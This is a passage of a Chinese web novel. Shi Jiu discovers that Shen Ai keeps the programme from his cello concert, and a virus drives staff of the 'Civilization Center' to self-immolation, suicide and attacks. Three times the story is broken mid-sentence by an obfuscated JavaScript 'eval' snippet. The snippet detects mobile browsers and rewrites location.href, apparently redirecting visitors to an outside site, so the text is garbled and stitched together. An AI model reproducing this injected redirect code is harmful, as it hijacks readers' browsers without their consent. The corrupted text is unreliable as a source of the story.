时咎的笑声好像也可以让人放松,但也许只是一种错觉,沉皑放松下来,声音也柔和许多,他说:“嗯,时间没有意义。” “你也喜欢研究这些?”时咎问,“时间的哲学,物理学,宇宙的故事。” “嗯。”沉皑回答。曾经他特别喜欢这些,因为在那段孤无可依的日子里,他就是这么望着天空,望着宇宙,一遍一遍地大喊,企图接收到来自宇宙的声音。 想到这,沉皑突然想起了什么,他说:“我收回刚刚那句话,我相信时间可以倒流。” 沉皑似乎突然心情就好起来了,他说:“可以倒流,可以前进,也可以停止,过去、现在、未来,都只是人脑海里顽固的错觉。” 时咎想了想,他觉得沉皑说得对,他想到了在他的现实世界里的学说,点头道:“我们那儿有一个理论是说,在所有不发生热交换,或热交换可以忽略不计的情况下,我们看到的未来和过去是一模一样的。只有存在热量的时候,过去和未来才有区别。能将过去和未来区分开来的基本现象就是热量总是从热的物体跑到冷的物体上[15]。” 接着补了一句:“我喜欢那些未知的东西,可以作为我的灵感,我要创造的话,未知的总是比已知的更宏大嘛。” “嗯。”沉皑轻声答应。时咎偏头,却在夜色里觉得他的侧影有些模糊。 时间就像一场梦,他们都是时间的梦。 这条路真长。 在时咎的现实世界里,他很少跟人这样一边走一边聊过,甚至聊共同感兴趣的话题都很少,也许他喜欢的领域,大多数人都没有兴趣。 头顶是温柔的风,脚下是弯弯的小路,路两边还有沾着水的绿草,似乎还有些红色的花,通往大门的小路弯弯曲曲,时咎想到小径分岔的花园,想到深沉的玫瑰,想到博尔赫斯扔下的银币。 但是想了很多之后,时咎又没明白,为什么他要想那么多?他在想什么? “沉皑。”时咎叫道。 “嗯?” 走着走着,时咎慢慢停下脚步,沉皑也跟着他停了下来,他低声问:“怎么了?” 时咎转过身面对他。 有些小昆虫的声音弥漫在空气里,顺着风传入耳朵,一起传入耳朵的,还有时咎的声音。 他问:“你以前经历过的事,我想知道,你可以告诉我吗?” 那些紫色瞬间腾空而起,泼成一副巨大的画卷,弥漫在他们的上方,覆盖住了虫鸣鸟叫、绿草鲜花。 这个问题,问得心振聋发聩。 沉默许久,沉皑说:“为什么这么问?为什么想知道?” 为什么能有人问得那么直白不加掩饰。 那一瞬间,沉皑感觉自己的思绪被扯回二十年前那些公园的夜晚,也如同今夜。 为什么眼前这个人什么都不记得了? 时咎认真道:“因为我想知道啊,既然想知道,为什么不主动问呢?” 沉皑察觉到自己的手指不自觉地动了一下,他抬起手,伸向了时咎,又在时咎认真的神情里委顿片刻,无力地垂下,捏紧了拳头。 时咎很疑惑他的行为,他好像想做什么,却最终是没做出来,他想抬手放在自己肩上吗?时咎想都没想直接抓住了沉皑刚垂下去的手,又在对方惊异的表情里将他的手放在自己的肩上。 沉皑抿着唇没说话,时咎不解地看着他,问:“那你为什么不敢?” “什么?”沉皑没动,保持着手放在他左肩的动作,继续放着也不是,收回来也不是。 时咎一字一句道:“你为什么不敢做?你想搭我的肩?还是什么?这样的行为让你为难吗?不就是普通的勾肩搭背?为什么不敢啊,还要收回去?” 听他这样说,沉皑埋下头笑了。 时咎:? 沉皑捏了捏他的肩,叹口气说:“因为,我没有你那样的勇气。” 时咎一皱眉,没有勇气?他把这句话思来想去也不明白:“什么意思?” “你不是问我我以前经历的事?” “对啊。” 沉皑抬起手掌,只让手腕靠在他肩上,轻轻摩擦着手指,好像在想什么,两个人面对面站着,一时间都不说话。 很久,沉皑才淡淡地开口:“从来没有人问过我,我经历了什么,但没人问是最好,因为我也不想说,虽然并不是什么大不了的事。” 时咎看着他,微微点头,他感到有些抱歉,便微微抬头去看天,然后轻声说:“不想说也没事,我尊重你。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187341|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉皑接着说:“刚刚你问我为什么不敢,我说我没有你的勇气,是觉得每次你那么大胆去做某些事,真的……” 说着他有些无奈地笑出来。 “真的……?”时咎重复道,“真的什么?” 真的,真的,真的一点都没变。 但沉皑没说出来,只顺势拍了拍他的肩,轻描淡写地说:“没事,下次吧,下次有机会,你想知道什么我都告诉你。” 时咎的眼睛一下就亮了。 “当然,作为交换,我也想知道你经历了什么。”沉皑说。 也想知道他的过往,他的经历,他那些不为人所知的故事。 “好啊。” 时咎仰起头,指着天:“刚刚我就想说了,你看天上有什么?” 沉皑抬头,但他看不到天,他只看到周围那一圈一圈流动的紫光铺满目之所及。 “有什么?” 时咎也不知道,他只是奇怪地说:“就是不知道才问你,我感觉,这儿有东西。”他随手指了一个地方,是一片黑色的云,云在不远处城市灯光的投射下,显现出了不属于它的亮度。 沉皑顺着他手指的方向,却只看到那儿紫色的光。 他轻轻回答:“嗯,是有东西。” 时咎还想说什么,沉皑打断他:“好了,回去吧。” 时咎跟着沉皑走。 他喜欢这样的夜晚。高悬的满月坠向海面,变成一艘船,扬着帆,淌过静谧的时间——当然并没有什么满月,也没有船,有的只是在不安里创造出的一个微弱的泡影。 一盏台灯开着,还是有些印象。可沉皑家里只有一个卧室,时咎不想睡觉,便让沉皑不用管他。 沉皑去洗漱,他百无聊赖地坐在沙发上,像主人一样懒懒地靠着。 屋子里都是布艺的装扮,暖色调的,和主人的气质非常不搭。 这单人独居的小屋,里面的装扮应该是和主人的内心相像的,时咎想起言不恩说沉皑曾经是一个非常温柔的人,若是对比着这屋子的装扮,他觉得她可能说得对。 茶几上摆放整齐,显眼的是那个相框,和相框里的纸。 是很久之前被他砸烂的那张,他只记得一张纸上写了一串字母,但没看清,之后再没见过,原来后来被拿回家了。 时咎拿起相框,第一次看清楚了里面的东西:一张白纸,一行手写的GGFEFECBGG。 怎么沉皑这个人有那么多密码,那么多秘密,光是他窥见的,他们无意中说的,数不胜数。 时咎盯着这串字母,心里隐隐地觉得熟悉,但想不起任何可能会用到这样密码的地方?哪有密码这么长?不对,哪有密码被正大光明地装框,还正大光明地放在最显眼的位置上啊? 除非,是和沉皑手上的密码一样的,除了他本人,任何人都不知道这是什么的密码。 时咎感觉茫然,但在茫然里似乎又有一丝清明,那丝清明是什么? 等等,这好像是…… 想到某种可能性的时咎顿感全身汗毛都竖立起来了。 50. 第 50 章 安全管理中心巡查全面结束,恩德诺全面进入善后模式。 安抚公民、赠送物资,文明中心比前两个月还忙。 久违的,时咎白天跟何为玩了一圈大城区、被带着逛了好些展览,晚上回家发现沉皑还没回。 这下时咎也觉得自己非常喧宾夺主了,他完全没把这里当成别人的家,像在这个世界自己的家,来去随意。而且不仅是这个空间,连里面的东西,比如沉皑的床和他的衣服,都变成了时咎理所当然的“自己所有物”。 他随意坐在沙发上,翘着二郎腿打算等沉皑回来后继续学学防身术,目光再次扫过这间熟悉的屋子,最后落在茶几的相框上。 它还是摆在那儿,没动过。 还是没办法不在意,那种感觉始终纠缠他。 时咎心里活动变多了,他之前在意的只是沉皑的故事,但是恍然某一瞬间,他发现他解答出来这一串字母的意义了,但他不敢承认,这是不可能的事。 于是在很长的时间里,时咎都不太愿意去看一眼这个一直放在这儿没动的相框,把它从眼睛里抹除,或许就能把它从自己心里的可能性里抹除。 但它就在这儿,一动不动,直视时咎。 好像……那相框就像一个潘多拉魔盒,可以解开他所有的疑虑,也能让他坠落。 他为什么会来到这个梦中,为什么偏偏是沉皑的身边,沉皑为什么知道大提琴。 半晌,时咎自嘲一般哼笑。先不说是不是巧合,就算不是,又能怎样?不就是十个字母的排列组合?不就是……几乎没可能是巧合的排列组合吗? 他伸手去拿那个相框,把它放在手里仔细端详。一个很普通的相框,不放照片,放一张写了密码的白纸。 等等,好像不是白纸? 时咎以前没注意过,因为每次看到,他就只在意这个字母串本身,好奇它的含义,于是被吸引了所有注意力,这第一次仔细观察除了字母意外的东西,却意外发现纸在灯光照射下,旋转到某个角度,是有光折射的,而折射到的地方,呈现了不一样的颜色。 这不是白纸。 时咎打开相框背后的卡扣,想把里面整张纸取出来。 他有点做贼心虚,心里默念如果猜错了,一会儿就放回去,装没看到过。 毕竟那样的猜想实在是,过于天马行空。 几个卡扣被打开,那张纸从里面被抽出来,他看了一眼那几个现在让他觉得惊心动魄的字母,随意反手翻到这张纸的背面,瞬间手就僵住了,心脏骤然紧缩。 真的是…… 他的心脏狂跳,难以置信地伸手去触摸这张纸的正面。 是哑粉纸,当时他在选材的时候特意挑过,觉得纸质比较好而且低调,纸面大部分是黑色为主色,灰色的印花作为陪衬,空白的地方按顺序列了十行数字,每个数字后都跟着一行题目。 不,不是题目,是曲目。 这是他研究生毕业后,自己举办的大提琴独奏音乐会的节目单。 这张节目单上每一个细节设计都是他亲自做的,连省略名字都是他设计的,他当时给的说法是:听音乐不用知晓演奏者姓名。 但是,这怎么可能? 这张纸怎么会出现在沉皑这里?不对,这是他在现实里发生的事!怎么可能出现在这里!沉皑是如何拿到的? 他觉得自己的手非常冷,冷得摸到毫无温度的纸张也觉得温暖。于是他再次翻过来,看到那一串字母,那唯一的答案便出来了。 是他曲谱的音名,是他音乐会最喜欢那首曲子的旋律! 就在这个时候门开了。“咔”一声,接着是脚步声,随后门被关上。 时咎猛地回头,一时间不知道自己该藏还是躲。 沉皑进来的时候看见时咎惊愕的表情并没有在意,然而当他走进去,看见时咎手里的东西时,脸色一下就变了,怔在原地。 两人一人坐着一人站着,气氛凝固,谁都不肯先说话打破这个僵局。 时咎望向他,忘记了把面前的东西重新复原。沉皑抿唇,有些不自然地往后退了很小一步。 怎么…… 时咎察觉到他的退后,黑色眼眸更加死死盯着他,感觉胸口有什么快破土而出,但他全部按捺。 看来他是不想主动破局了。于是时咎手僵硬地举起那张节目单,率先开口:“你为什么会有这个?” 问完之后觉得不太对,又补了一句:“对不起我随意翻你东西,但是,但是我很想知道你为什么会有这个?” 他每次都是问得如此不加掩饰,一句话直白地把所有有可能暗藏的心思全部曝露在阳光下,不给人机会,也不想让人翻身。 明明不是质问,但沉皑找不到合适的理由来回答这个问题,他不想回答,但看到时咎那直勾勾盯过来的眼神,最后还是放弃挣扎,如果他不回答,也许对方依然会打破砂锅问到底,这一点上,他俩又令人无奈的一致相像。 沉皑的嘴唇动了动,让自己尽可能平静一些,装作只是一件普通的事:“很小的时候梦到过你的音乐会,很喜欢,就把节目单记下来,醒了重画了一张。” “以前,我的音乐会……”时咎轻声重复,他记不太清了,因为观众很多,陌生人也很多,他并不记得哪一排哪个座位有蓝色眼睛的人,如果他注意到了,一定印象深刻。 “所以你听过我的音乐会?”时咎再次轻声问,他的声音里是浓浓的不敢相信,他曾经还想过,如果沉皑听过他的音乐会就好了,没成想…… “嗯。” 但是时咎还是盯着沉皑,他心里的疑惑太多了。梦到他的音乐会,便记住了他的节目单,听过他的曲目,便把他旋律的音名用这样的方式摆在显眼的地方。无论是哪一条,用“梦到了,很喜欢”这样两个词轻描淡写揭过,都显得并不可信。 所以他会知道恩德诺不存在的乐器,也是因为他去过自己的世界? 他还是有什么没说,不愿意说。 时咎不想逼迫别人去说他不想说的事,但他很想知道,他想得心里发痒,感觉被人打了筋,封了穴,想知道沉皑心里到底还有多少他不知道的事。 他两步快速走到沉皑面前,更近距离地盯着他的眼睛,蓝色的眼睛,里面总觉得藏有无限的故事。 “为什么只是梦到过我的音乐会,就做了这么多?”时咎指向那个相框。 “为什么从来没有跟我说过?也没问过我。” “你问的那句‘是你’到底是谁?真的认错了?还是就是我?为什么后来不提了?” “你明知道,我会知道恩德诺没有大提琴,还是让我演奏给你听,故意的对吗?” “我不明白为什么。你的解释说不通,你什么都不跟我说。”时咎说得有些急了,他一口气把心里的话都倒出来,毫不拐弯抹角,他也懒得拐弯抹角,急得连指尖都有些发麻。 沉皑从最开始的惊异中走出来,很快就恢复了平时一贯的冷静,他说:“是,当时我说大提琴,是想试探你,但你也装作完全不知道。” 他做的很多事都在试探,但时咎从来没有任何反应,好像对于他来说,真的曾经什么都没有发生过,包括现在,时咎依然是什么都不知道的样子。 沉皑垂下眼眸:“因为有的事我自己也没搞清楚,贸然告诉你,做不到。我说过了,我没有你那种横冲直撞的勇气。” 末了,他特意加了一句:“横冲直撞是褒义。” “你他……”时咎嘴唇抖了一下,没说出话。 时咎还是觉得很烦躁,他感觉自己被隐瞒了很多,偏偏对方总有这样那样的理由让他无法反驳,若再想深入询问,他自己又会产生阻抗,他会想:我凭什么问到这一步?沉皑对他做了很多让步他知道,所以不想打破他们对彼此已经收得很紧的边界感。 可不问,他快要跳出来的心脏又堵在喉头,堵得他头晕目眩。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187342|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 时咎生气,生气就发泄,他伸手用力朝着沉皑的胸口挥了一拳,他预想以沉皑的能力无论如何都能接下,所以用了十足的劲,哪想沉皑不躲不化解,结结实实吃下了他所有的力道。 重重一声闷响,打得时咎手都疼,然后他愣住了,他“操”了一声,连忙想上手去捂,又觉得这个位置这个行为不太合适,只能让手在空中乱挥了几下,讪讪地放下来,惊吓道:“你怎么不躲啊?” 沉皑过了好一会儿才平静地说:“嗯,没事,你发泄吧,是有很多事没跟你说。” 时咎瞬间感受到自己的心软下去,他觉得沉皑就是故意用这种方式来让自己感到愧疚,然后终止这个话题,心机颇深的一个人。 时咎尴尬地拿手拍拍裤腿,现在总感觉这手没处放。他问:“那你现在打算跟我说了吗?” 沉皑的反应很淡,他原本也不打算说,可又想到之前答应过时咎的事,话在嘴边就改口了,他说:“你想知道什么?” 时咎想了想,问道:“我想知道我俩以前是不是认识,或者发生过什么?” “嗯。”这回沉皑回答得很干脆。 听到肯定的答复,时咎皱起眉头。 他很努力回忆过去,以前就认识,也有过一段共同经历,但是他一点印象都没有,他该不会发生了什么失忆的戏码吧?还是很久以前做梦已经来过这里,只是他忘了?怎么可能忘,如果遇到过沉皑,怎么可能忘? 时咎刚要开口,沉皑打断他说:“你为什么那么在意?” “啊……”时咎本想张嘴,却哑口无言。在意需要理由吗?想知道,便问了;在意,便在意了。 沉皑稍稍往前走了一步,他离时咎很近,微微弓下身体,以平视他。 时咎有些惊讶,因为在他印象里,沉皑总在退后,所以他想知道这样的行为后面会发生什么。 接着,时咎听到沉皑好像是字字斟酌后,缓慢地、低声在他耳边说:“时咎,很多事我不确定,所以我还不敢跟你说,我现在唯一确定的就是,不管是你不记得的那些日子,还是现在我们重新相处的这些日子,都对我很重要。所以,我不会故意隐瞒你,如果有一天我想清楚了,全部都告诉你,好吗?” 那声音从耳廓直达耳膜,又迅速传遍全身,细腻委婉地爬过每个毛孔,时咎感觉自己整个脑袋都在“嗡嗡”鸣响。 他突然明白言不恩说“超级温柔的哥哥”是什么意思了。 沉皑抬手,往前,碰到了时咎的脖环,指腹轻轻摩擦着。 时咎喉头微动,轻声问:“这个脖环,到底是什么?你没打开过它吗?能给我口令取掉吗?” 指腹贴着脖环,另一部分也能触碰到他颈部的皮肤,沉皑沉声说:“没有口令。” “什么?”时咎迷茫。 沉皑重复道:“只是医用麻醉脖环,用来镇痛,没有口令,没有自爆功能,也不会自动启动,你想取随时可以取。” 时咎微微张嘴。 他被唬了这么久。 所以从一开始,沉皑就没想要杀他、针对他,或是对他不利。 他也有自己想找到的答案。 “叮——” 不合时宜的铃声响起。 沉皑很认真地看着时咎,时咎也回看他,什么都没说,只是对视,似乎要从对方的眼神里抽丝剥茧出一些不同寻常,似乎只需要对视就能读懂对方心里全部所想。 “叮——”铃声孜孜不倦地响。 终于,沉皑站直身体,拉开和他的距离,拿出手机淡声道:“喂。” 时咎转身,装作轻松地坐回了沙发,把刚刚被他拆掉的东西慢慢放回去。 沉皑一边接电话一边往卧室里走,没多会儿出来时,他已经挂了电话,眉头紧锁着对时咎说:“前段时间负责集中隔离运输里有三个人,在文明中心广场一起自焚了。” “啊?为什么又……”时咎惊悚。虚疑病还没完? 51. 第 51 章 沉皑匆匆换了衣服,打算现在赶过去。 “我也去。”时咎说。 沉皑:“嗯。” 并肩行走的两个人之间,氛围有些微妙。 广场的夜晚被警车照得一片蓝一片红,紧急隔离带从文明中心的大门处拉了过来,把公民都隔离在外。很多人都在现场清理,人员繁多,地上铺了三床白色帷幕,露出的一点缝隙只能看见里面焦黑一片。 有几个公民情绪激动,季水风在同他们说话,不多时,来了几个人将公民们带走送他们去做心理辅导。 沉皑过去的时候季山月就坐在一辆警车的台阶上,见到沉皑,不爽地瞪他一眼,说道:“怎么来这么晚,刚刚给你打电话,这哥仨还烧着呢,好家伙那大火焚身的我也不敢靠近,结果最后还是我几枪崩了。你说这是不是有毛病,那么多死法,发病了尽挑广场自焚干啥啊?” 季山月对这件事颇有微词。也是巧,时隔这么久,他因为冲动误揍时咎一顿被停职后,今日终于得到了各方批条回归职位,还在安全管理中心办理手续呢,就听到楼下的大叫,还闻到了奇怪的烧焦味道,往窗外一看,就知道不妙了。 不远处走过来的季水风听到他的话,对他呵斥道:“不要乱说话!” 虚疑病在公民之间的传染性被大大减弱,感染者已经没有前段时间那么多了,甚至几乎是恢复了正常生活。如果有人察觉到自己不对劲,是可以联系医院通过特别通道,在医院特别处理区尝试治疗的,但同时三个人一起选择在这儿自焚,就像约定好了一样。 沉皑看了一眼地上被白布挡住的三具尸体,淡声问:“他们的情况都查清楚了?” “废话,这不得查清楚啊!”季山月大大咧咧接道,“这三个人……” 他依次指了指地上躺着的三个。 “就是我们安全管理中心的,但是只是最普通的安保级别的人,前两个月一直在负责集中隔离的运输工作,工作履历也很正常,完成运输后他们也在隔离,按理说这也快过三十天潜伏期了……不会是什么示威吧?”季山月怪叫。 季水风拍了拍他的肩:“是发病症状,刚刚那边目击者我问过了,他们在自焚前已经有疯癫行为了,是一个人点火,后面两个过了一会儿才过来的。” 沉皑走到三具尸体旁,拿麻醉枪托挑起白布看了一眼,三个人都是精准的额心中枪。 季山月转了个头在旁边说:“没烧多久,我击毙的。” 时咎凑过去看,他“咦”了一声。 沉皑眼神看向他。 时咎指着躺在最边缘的人说:“这个人我记得,就是我被抓去隔离那天,朝我开枪的那个。”接着他的手指移到中间这个人,“他我也记得,当时他俩在一起,中间这个人抓我,另一个开枪,我被击中掉下来后,他俩把我抬到车上。” 沉皑皱眉,拿开枪,白布再次盖下去。 时咎记得那个人好像脾气挺冲,最开始和那个带婴儿的男人起了冲突,后来又气势汹汹找自己麻烦,或许不能算是麻烦,也只是他们职责的一部分,但他被射击和最后扔在车上却是不被理解的行为,如果当时不是何为,那个伤口绝对不会就这么轻而易举好了,换做一个普通公民,流血死、破伤风死、感染死都是有可能的。 时咎跟着沉皑走回警车后面,听到季山月疑惑地小声说:“嘿我搞不懂了,不是已经控制住了吗?怎么还有人发病,一来来三个,这回不刀人,直接改集体自焚了。” 时咎看向地上躺着的三具尸体,耳边的忙碌一直没停,他转头去看文明中心外面,竖了警戒线以外的地方并没有公民靠近这里,他们路过也只是路过,看见警戒线便不往这边走了,连围观也没有。 但……这种隐隐不安的感觉是什么?不安到周围的声音像被蒙了层雾,好像有什么东西在身边流动,他看不到,只是不安。 忽然,他的肩膀被拍了拍,他一下从那种情绪里清醒过来,所有吵闹立刻回笼,从主观感受里回到了客观世界,他抬头对上了沉皑的眼睛,听到他问:“没事吗?叫你不答应。” 时咎迅速打哈哈,摇头说:“没事。” “嗯。”沉皑转身跟那边的姐弟说,“我先送他回去,有消息再给我打电话。” 季水风:“好。” 季山月疑惑,他一拍大腿怒道:“好什么好?这小崽子用得着你送?半路上真遇到什么,他别把人家骗晕了哦。” 时咎根本不理他。 这天晚上发生的事已经够奇怪了,暂且当做虚疑病甩尾还要感染几个人,那后面发生的事使文明中心再度陷入混乱。 起源实验室大楼三楼拉着警戒条,原本安排在三楼的进化全部临时挪到了二楼。三楼里每个人都行色匆匆里,没过多久,沉皑从楼上下来了。 “沉先生,打伤人的感染者已经抓获了,被我们控制在他发病的那个实验室里。”有人过来对沉皑说。 “嗯。”沉皑点头,“另一个受伤的人怎么样?” “打了医院电话了,应该马上就到。” “好。” 实验室里有人在扯着嗓子大喊,但是嘴里似乎被堵了东西,那声音便成了一声声的闷哼。走廊的人清理血迹后纷纷离开,沉皑走到感染者被关的实验室打开门,里面的场景显露出来。 好些设备被翻打在地上,桌子椅子都偏离了该在的位置,还有玻璃碎屑洒了一地,一片狼狈景象。肇事者被绑在椅子上,他一边挣扎一边大声呜咽,眼睛通红,生理性眼泪流满整张脸。 这张脸有些脸熟,但沉皑记不清是谁。他淡淡看了一眼便转身准备关门离开,刚一转身,就撞上了听闻消息同样过来找他的时咎,时咎问他:“怎么回事?” 沉皑用头示意了一下里面。 于是时咎探头进去看了一眼,一看便愣住了,他没忍住:“江遂?” 江遂被绑着,神志不清,总听到有人叫他,但那声音传到耳朵里逐渐变成了女巫的尖锐笑声,盯着他的眼睛也幻化成一个巨物形象,伸出手要掐死他一般,于是他恐惧地挣扎大喊,却怎么也动不了,只能在原地大哭,哭了两声觉得等死不如杀死女巫,哭声又变成了怒吼。 不过那些声音被挡住了,在外人耳里全是一致的疯狂。 时咎后退了两步,一下摔上门。 他眉头紧锁,他在来之前是听说了是起源实验室的操作员,但他没想到是江遂,而且这个病毒已经平复了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187343|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些日子,怎么忽然间又开始复发,是依然有病毒携带者在到处游离吗? 沉皑见状,问他:“你认识?”他指了指房间的门。 时咎说:“算不上认识,有过接触。” “哦。” 沉皑转身对旁边的人说:“多注意一下那个受伤的人。” 旁边的人立刻回答:“好!” 与此同时,安全管理中心防守严密的档案室,此时一群人正围着一个胸口剧烈起伏的人,那个人头发凌乱,眼神涣散,他狠狠拍了好几下桌子,同样举起枪指着周围的人,他的手在抖,声音也在颤抖,他大喘气着说:“你们不要过来,再过来,我就烧了这里。”说话间,他举起另一只手,手里是一个打火机,作势要投掷的动作。他“嘿嘿”一声长笑,整个表情怪异起来,接着用他不自然的语气说:“我不怕火,烧起来,你们都别想活。” 周围的人似乎在考虑是他们的枪快还是他扔火更快,一时间竟没人敢动。 气氛僵持了好一会儿,这层楼的电梯门开了。季山月快步从里面走出来,走到包围圈边缘,那个人的枪口立刻就掉转瞄准季山月,他大喊:“你也不准过来,嘿嘿,想杀我?” 旁边的人小声对季山月说:“疑似发病了,但这个人有能力,他不怕火,想用烧了档案室来威胁我们。” 季山月“嗐”了一声,吊儿郎当地说:“就这啊?” 他露出一个核善的表情,下一秒就隔空挥了一拳,一道浓雾一样的冲击波瞬间在他面前形成,如同深海的漩涡,或沙漠中的龙卷风,巨大的旋风横向形成,他轻轻一挥,那旋风霎时朝对面的人身上打去,如此近距离让人无法闪躲。 浓雾像瞬移般刺穿那个人的胸膛,将他往后拍出去几米,重重摔在墙边,一口血便吐了出来。 季山月抱拳,将自己的手关节捏得咯咯作响,却见那人缓缓举起了火机甚至还在垂死挣扎企图用这招来威胁。 季山月轻松开口道:“你想清楚噢,现在你没有能力了,要死一起死噢。” 原本这样的行为已然是穷途末路的威胁,但当他听到季山月的话时,脸色“唰”就白了,他也顾不得眼前这一群长得形状各异的妖魔鬼怪是不是要杀了他,他艰难伸出手,却惊恐地发现什么都没了——他的能力消失了。 他发出一声怒号,那声音像野兽,随后他举起枪,后面的人也举起枪,却听“砰”的一声,他手里的枪对准自己太阳穴,枪响后整个人迅速软了下去。 季山月打了个哈欠,对旁边的人摆摆手说:“你们处理一下,我找我姐复命去了。” 连续几起发生在文明中心的发病案例让原本逐渐松懈下来的人们的神经一下又紧绷起来了。 文明中心派遣小队立刻对城区进行秘密巡查和访问,几天下来却发现城区并未频繁出现发病症状,公民们的生活水准基本已经完全恢复,他们除了暂时不会去人员特别聚集的地方,其他与几个月前相差无几。 文明中心里有些人心惶惶,有人在传这是虚疑病针对文明中心的一次袭击。但谣言很快又被澄清,因为病毒只是病毒,它不存在智慧,更不存在针对。 “如果它有智慧、它产生针对了呢?”时咎问。 52. 第 52 章 时咎和沉皑一起去掌权者大楼,在路上碰到同样也要过去的季水风季山月姐弟。 季山月非常认真地思考了这个问题,但是他发现他大大的脑子里想不出什么精确答案,不如放弃思考,干脆一甩手,大大咧咧地说:“那就刚正面!我还不信我能疯了?这小王八!” 季水风一边快走,一边严肃地说:“这几天有七八起发病了,全都是在文明中心总部,我查了大城区,也联系其他城区的分部,有的有一两起,有的一个也没有。但是城区的公民一共有上亿人,文明中心不过几万人,我认为这个概率不太对。” 说话间,四人进入掌权者大楼。一楼人很少,但都行色匆匆。季水风过去按了电梯。 时咎接道:“如果按照我们上一次讨论的说法,假设,真的存在这么一个投毒的人,他先是针对全球公民进行了一次投毒,但是很快收手,等我们觉得差不多过去了,再对文明中心进行一次投毒?” 沉皑淡淡说:“投毒这件事还有待商榷,没有证据不要到处说。” 季水风问:“如果真的存在这么一个投毒的人,他的目的是什么?” 时咎忖度着,不确定道:“权力之间的阴谋?但是掌权者又不是一个人,还是说想把另一个掌权者拉下台?” 掌权者只有言威和单赫,单独哪一个有动作另一个都会察觉,应该不是这个原因。 这件事怪就怪在,它是从文明中心内部爆发的,也就是说公民很安全。 时咎突然想到一个可能性,但他很快排除掉了,因为过于主观,甚至颇有有神论与泛灵论的说法。 假如世界上有位看不见的神,再假如世间万物皆有生命、有思想,在神的规则下,病毒也可以自由选择自己想感染的对象,那么就又回到这个世界最基础的设定。 思维透明化。 公民间极大的信任让他们在物质性进化的条件下逐渐变成真性团结,但文明中心不是,文明中心充满了欺诈,它便成了病毒的目标。 季山月疑惑地转头看向沉皑,又看时咎,又看季水风,不满道:“你们这是什么意思?讨论大事不带我?排挤我?” “36楼到了。”电梯机械声播报,四个人走出来。 时咎的脑子在飞快旋转中还抽空回了季山月一句:“对。” 季山月暴走:“嘿哟,时咎你这个小崽子看我不打死你!”他抬手做出要打人的样子。 话音刚落,四个人眼前出现一个人影。 秦昼永恭敬地站在掌权者办公室外,朝沉皑鞠了一个弧度可以说没有的躬,又对四人说:“掌权者在开会,我可以代转达。” 季山月不耐烦地问:“还多久?” 秦昼永慢条斯理回答:“不知道。” 季山月“嘁”了一声,声音非常微小地说:“开会开会,一天到晚开你那个B会。” 季水风瞪了他一眼,他立刻转过头到处看看,装无事发生。 沉皑漠然地看着秦昼永,看了一会儿把视线移开。 他突然注意到自己身边流光的变化,呈黑紫色,逐渐又变成黑红色,流动得快要凝固。 这种感觉是——一种攻击性?这里的人会有攻击性? 于是他的目光快速扫视周围的人,时咎只是站着,没什么表情在等,季山月随意四处张望,季水风一直在看那扇紧闭的办公室的门,秦昼永……沉皑皱眉。 秦昼永一丝不苟地站着,但他注意到沉皑一直在看他,心里就开始痒痒的按捺不住了,他往后退了一步。 沉皑冷冷地问:“你怎么了?” 旁边三个人一起转过头。 就在这时,秦昼永一把扶住身后的墙,脸上的血色逐渐褪去,慢慢地手脚都有些不受控制,他抬头看沉皑蓝色的眼睛,却只觉得那不是眼睛,是一片马上会有深海怪物狂怒嚼碎他的海,海水已经在深处汹涌起来了,海面也初现端倪,一阵猛浪高高掀起,瞬间筑成了百米高的巨浪,眼看就要打下来。 他抬手,防御性的一道雷便劈了下来。 “我靠!”季山月大吼一声,吓得瞬间后退两步,再看他当时站的原地,一道焦黑的影子。 再慢一点他非给劈个对穿不可。 沉皑立刻把时咎拦在身后,皱眉试探性叫了一声:“秦昼永?” 然而秦昼永似乎听不到,他的眼里逐渐浮现出了一种叫恐惧的东西。他靠身后的墙才稳住了自己的身形,但是好像有些站不稳,腿也在抖,手也在抖,他的唇哆嗦着,似乎又在抗拒什么,他突然狠狠咬住自己的下唇,血直接流了出来,他颤抖着说:“我突然有点,看不清,你们,你们要攻击我?” 季水风往前走了一步企图安抚他,她说:“我们没有攻击你,你冷静点。”她想靠近,但被季山月拦下来了。 季山月谨慎道:“别靠近,他发病了。” 季水风站在原地没动了。 竟然感染和发病得这么快,速度远超过前两个月在城区公民那一波。 时咎大概明白为什么两百年前虚疑病会抹杀掉恩德诺大部分的居民:它想潜伏,便潜伏,它想攻击,便立刻破土而出。让人没有反抗的余地。 按照时咎刚刚无法证伪的假说再推远一点,病毒自由选择攻击谁,从他最开始他看到的,上巴士前对他使用暴力的人,包括现在的秦昼永,应该都是比较虚妄的人,硬要总结,简言之:不仁慈,没有爱。 